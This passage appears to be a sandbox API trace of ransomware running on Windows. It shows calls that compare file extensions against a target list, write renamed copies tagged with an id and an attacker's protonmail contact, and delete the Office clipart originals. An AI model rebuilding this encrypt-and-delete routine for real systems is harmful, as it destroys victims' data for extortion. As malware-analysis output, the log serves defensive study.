	[0083.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.613] lstrlenW (lpString=".doc") returned 4
	[0083.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.613] lstrlenW (lpString=".docx") returned 5
	[0083.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.613] lstrlenW (lpString=".pdf") returned 4
	[0083.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.614] lstrlenW (lpString=".xls") returned 4
	[0083.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.614] lstrlenW (lpString=".xlsx") returned 5
	[0083.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.614] lstrlenW (lpString=".ppt") returned 4
	[0083.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.614] lstrlenW (lpString=".zip") returned 4
	[0083.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.614] lstrlenW (lpString=".rar") returned 4
	[0083.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.614] lstrlenW (lpString=".bz2") returned 4
	[0083.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.614] lstrlenW (lpString=".7z") returned 3
	[0083.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.614] lstrlenW (lpString=".dbf") returned 4
	[0083.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.614] lstrlenW (lpString=".1cd") returned 4
	[0083.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0083.614] lstrlenW (lpString=".jpg") returned 4
	[0083.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.614] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.614] lstrlenW (lpString="DD00448_.WMF") returned 12
	[0083.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.616] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2952) returned 1
	[0083.616] CloseHandle (hObject=0x378) returned 1
	[0083.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220
	[0083.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.621] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.621] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.621] GetLastError () returned 0x0
	[0083.621] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xb88, lpOverlapped=0x0) returned 1
	[0083.630] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xb90, lpOverlapped=0x0) returned 1
	[0083.631] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.631] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.631] SetEndOfFile (hFile=0x338) returned 1
	[0083.631] CloseHandle (hObject=0x338) returned 1
	[0083.631] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.631] SetEndOfFile (hFile=0x378) returned 1
	[0083.632] CloseHandle (hObject=0x378) returned 1
	[0083.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.633] lstrlenW (lpString=".doc") returned 4
	[0083.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString=".docx") returned 5
	[0083.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.633] lstrlenW (lpString=".pdf") returned 4
	[0083.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString=".xls") returned 4
	[0083.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.633] lstrlenW (lpString=".xlsx") returned 5
	[0083.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.633] lstrlenW (lpString=".ppt") returned 4
	[0083.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.633] lstrlenW (lpString=".zip") returned 4
	[0083.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.633] lstrlenW (lpString=".rar") returned 4
	[0083.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString=".bz2") returned 4
	[0083.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString=".7z") returned 3
	[0083.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.633] lstrlenW (lpString=".dbf") returned 4
	[0083.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.633] lstrlenW (lpString=".1cd") returned 4
	[0083.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.633] lstrlenW (lpString=".jpg") returned 4
	[0083.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".doc") returned 4
	[0083.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".docx") returned 5
	[0083.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.634] lstrlenW (lpString=".pdf") returned 4
	[0083.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".xls") returned 4
	[0083.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.634] lstrlenW (lpString=".xlsx") returned 5
	[0083.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.634] lstrlenW (lpString=".ppt") returned 4
	[0083.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".zip") returned 4
	[0083.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.634] lstrlenW (lpString=".rar") returned 4
	[0083.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".bz2") returned 4
	[0083.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString=".7z") returned 3
	[0083.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".dbf") returned 4
	[0083.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".1cd") returned 4
	[0083.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68
	[0083.634] lstrlenW (lpString=".jpg") returned 4
	[0083.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.635] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.635] lstrlenW (lpString="DD00687_.WMF") returned 12
	[0083.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.635] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=20784) returned 1
	[0083.635] CloseHandle (hObject=0x378) returned 1
	[0083.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220
	[0083.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.635] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.636] GetLastError () returned 0x0
	[0083.636] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x5130, lpOverlapped=0x0) returned 1
	[0083.642] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x5140, lpOverlapped=0x0) returned 1
	[0083.643] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.643] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.643] SetEndOfFile (hFile=0x338) returned 1
	[0083.644] CloseHandle (hObject=0x338) returned 1
	[0083.644] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.644] SetEndOfFile (hFile=0x378) returned 1
	[0083.645] CloseHandle (hObject=0x378) returned 1
	[0083.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1
	[0083.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.645] lstrlenW (lpString=".doc") returned 4
	[0083.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.645] lstrlenW (lpString=".docx") returned 5
	[0083.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.645] lstrlenW (lpString=".pdf") returned 4
	[0083.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.645] lstrlenW (lpString=".xls") returned 4
	[0083.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.645] lstrlenW (lpString=".xlsx") returned 5
	[0083.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.645] lstrlenW (lpString=".ppt") returned 4
	[0083.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.645] lstrlenW (lpString=".zip") returned 4
	[0083.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.646] lstrlenW (lpString=".rar") returned 4
	[0083.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString=".bz2") returned 4
	[0083.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString=".7z") returned 3
	[0083.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.646] lstrlenW (lpString=".dbf") returned 4
	[0083.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.646] lstrlenW (lpString=".1cd") returned 4
	[0083.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.646] lstrlenW (lpString=".jpg") returned 4
	[0083.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.646] lstrlenW (lpString=".doc") returned 4
	[0083.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString=".docx") returned 5
	[0083.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.646] lstrlenW (lpString=".pdf") returned 4
	[0083.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString=".xls") returned 4
	[0083.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.646] lstrlenW (lpString=".xlsx") returned 5
	[0083.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.646] lstrlenW (lpString=".ppt") returned 4
	[0083.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.646] lstrlenW (lpString=".zip") returned 4
	[0083.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.647] lstrlenW (lpString=".rar") returned 4
	[0083.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.647] lstrlenW (lpString=".bz2") returned 4
	[0083.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.647] lstrlenW (lpString=".7z") returned 3
	[0083.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.647] lstrlenW (lpString=".dbf") returned 4
	[0083.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.647] lstrlenW (lpString=".1cd") returned 4
	[0083.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0083.647] lstrlenW (lpString=".jpg") returned 4
	[0083.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.647] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.647] lstrlenW (lpString="DD00705_.WMF") returned 12
	[0083.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.647] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=24588) returned 1
	[0083.647] CloseHandle (hObject=0x378) returned 1
	[0083.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220
	[0083.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.648] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.648] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0083.648] GetLastError () returned 0x0
	[0083.648] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x600c, lpOverlapped=0x0) returned 1
	[0084.298] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x6010, lpOverlapped=0x0) returned 1
	[0084.329] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.329] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.329] SetEndOfFile (hFile=0x338) returned 1
	[0084.329] CloseHandle (hObject=0x338) returned 1
	[0084.330] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.330] SetEndOfFile (hFile=0x378) returned 1
	[0084.331] CloseHandle (hObject=0x378) returned 1
	[0084.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1
	[0084.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.331] lstrlenW (lpString=".doc") returned 4
	[0084.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.331] lstrlenW (lpString=".docx") returned 5
	[0084.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.331] lstrlenW (lpString=".pdf") returned 4
	[0084.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.331] lstrlenW (lpString=".xls") returned 4
	[0084.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.331] lstrlenW (lpString=".xlsx") returned 5
	[0084.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.332] lstrlenW (lpString=".ppt") returned 4
	[0084.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.332] lstrlenW (lpString=".zip") returned 4
	[0084.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.332] lstrlenW (lpString=".rar") returned 4
	[0084.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString=".bz2") returned 4
	[0084.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString=".7z") returned 3
	[0084.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.332] lstrlenW (lpString=".dbf") returned 4
	[0084.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.332] lstrlenW (lpString=".1cd") returned 4
	[0084.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0084.332] lstrlenW (lpString=".jpg") returned 4
	[0084.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
